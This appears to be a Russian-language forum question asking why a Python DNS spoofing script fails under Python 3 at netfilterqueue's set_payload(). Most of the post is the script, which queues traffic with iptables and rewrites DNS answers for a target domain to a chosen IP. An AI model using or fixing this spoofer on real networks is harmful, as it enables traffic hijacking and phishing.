python3 имеет scapy.all.set_payload ()? - PullRequest
0 голосов
/ 19 марта 2020

Я пытаюсь преобразовать некоторую форму кода python2 в 3, но не могу найти подходящую замену метода для set_payload ().

import netfilterqueue
import subprocess
import os
import scapy.all as scapy


os.system('sudo iptables -I OUTPUT -j NFQUEUE --queue-num 0')
os.system('sudo iptables -I INPUT -j NFQUEUE --queue-num 0')

def process_pkt(packet):
    target_url= 'www.example.com'
    scapy_packet = scapy.IP(packet.get_payload())
    # print(scapy_packet.show())
    if scapy_packet.haslayer(scapy.DNSRR):
        qname = scapy_packet[scapy.DNSQR].qname
        if target_url in str(qname):
            print('[+] Spoofing target')
            answer = scapy.DNSRR(rrname= qname, rdata= '10.0.2.15')
            scapy_packet[scapy.DNS].an = answer
            scapy_packet[scapy.DNS].ancount = 1

            del scapy_packet[scapy.IP].len
            del scapy_packet[scapy.IP].chksum
            del scapy_packet[scapy.UDP].len
            del scapy_packet[scapy.UDP].chksum
             ##########################################################
            packet.set_payload(scapy_packet)########## This causes error
             ##########################################################
    packet.accept()     



queue = netfilterqueue.NetfilterQueue()

try:
    # subprocess.call(['sudo', 'iptables', '-I', 'FORWARD','-j','NFQUEUE','--queue-num' ,'0'])
    print('[*]sudo iptables -I FORWARD -j NFQUEUE --queue-num 0')
    queue.bind(0, process_pkt)
    queue.run()
except KeyboardInterrupt:
    print('\n[*]Flushing the iptables')
    subprocess.call(['sudo','iptables','--flush'])

Здесь проблема в том, что get_payload () работает, но set_payload () дает «AttributeError:« netfilterqueue.Packet »объект не имеет атрибута« set_payload »»

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...